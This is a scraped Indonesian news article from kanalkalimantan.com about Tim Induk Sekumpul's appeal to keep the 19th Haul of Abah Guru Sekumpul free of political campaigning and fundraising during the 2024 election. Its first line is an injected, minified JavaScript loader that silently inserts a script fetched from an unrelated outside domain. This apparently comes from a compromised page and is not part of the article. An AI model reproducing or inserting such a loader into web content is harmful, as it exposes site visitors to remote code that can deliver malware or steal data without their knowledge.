(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Meskipun belum ada pengumuman resmi jadwal Haul ke-19 Abah Guru Sekumpul, Tim Induk Sekumpul sudah dulu mengeluarkan surat pernyataan dan imbauan.
Surat dengan nomor A.02/TIS-SKP/1/2024 tanggal 7 Januari 2024 menekankan agar kegiatan keagamaan rutin setiap malam Senin yang berlokasi di Sekumpul di momen 5 Rajab dijaga kemurniannya dari politik praktis. Terlebih saat ini adalah masa kampanye Pemilu 2024.
“Kegiatan rutin di Sekumpul adalah acara ritual keagamaan maka tidak diperkenankan ada pihak yang mengklaim atau menunggangi kegiatan ini dengan kegiatan politik praktis,” bunyi poin pertama dalam surat pernyataan resmi itu.
Baca juga: Jaksa Minta Hakim Tolak Eksepsi Terdakwa TPPU Ayah Gembong Narkoba Fredy Pratama
Tim Induk Sekumpul juga mengingatkan kepada peserta Pemilu baik partai politik, calon legislatif (Caleg), maupun Calon Presiden (Capres) untuk tidak menyertakan foto almarhum Guru Sekumpul pada alat peraga kampanye (APK), tanpa terkecuali.
Bagi peserta Pemilu yang sudah terlanjur memasang APK di sekitar Sekumpul, Tim Induk Sekumpul meminta untuk mencopotnya sementara waktu dari tanggal 11 Januari sampai 23 Januari 2024.
“Selain itu juga tidak dibenarkan membuat tulisan ucapan selamat datang/jalan atau lainnya yang berbau atau bernuansa politik, promosi dan sejenisnya,” bunyi imbauan.
Baca juga: 241.000 Jemaah Haji Indonesia Berangkat Tahun Ini
Masyarakat diminta memperhatikan imbauan pihak Mushola Arraudhah Sekumpul nomor A01/AR-SKP/1/2023 yang salah satu poinnya berbunyi “Kami pihak ahli waris akan selalu berusaha dan terus menjaga kemurnian acara dan kegiatan agar tidak tercampur oleh hal-hal lain. Sesuai yang Ayahanda kami inginkan”.
Selian itu, ada beberapa poin penting lain yang juga perlu diperhatikan masyarakat dari pemberitahuan pihak Mushola Arraudhah.
Pertama, kegiatan di Sekumpul tidak pernah meminta atau melakukan penggalangan dana atau barang, apapun bentuknya, baik berupa sumbang langsung, lewat promosi medsos, amplop, celengan, rekening, atau lainnya.
Baca juga: JPKP Kalsel Beri Nilai Penanganan Pipa Bocor PDAM Bandarmasih Lamban
Lalu poin kedua, bagi siapa saja yang ingin berpartisipasi pada kegiatan ini, tidak diperkenankan melakukan penggalangan dana atau meminta barang apapun bentuknya. Apalagi sampai mengatasnamakan petugas, relawan, pelaksana, atau kepanitiaan haul yang dimaksud. Hal tersebut diatas tidak diperbolehkan.
Kemudian, bagi masyarakat yang menemukan hal-hal demikian, diminta untuk menegurnya langsung secara sopan dan apabila tidak ditanggapi, dipersilahkan melaporkan ke Tim Posko Induk Sekumpul atau pihak yang berwenang terkait. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru melalui Dinas Lingkungan Hidup (DLH) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pengunduran diri Sahbirin Noor atau Paman Birin dari jabatan Gubernur Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More
KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More
KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
This website uses cookies.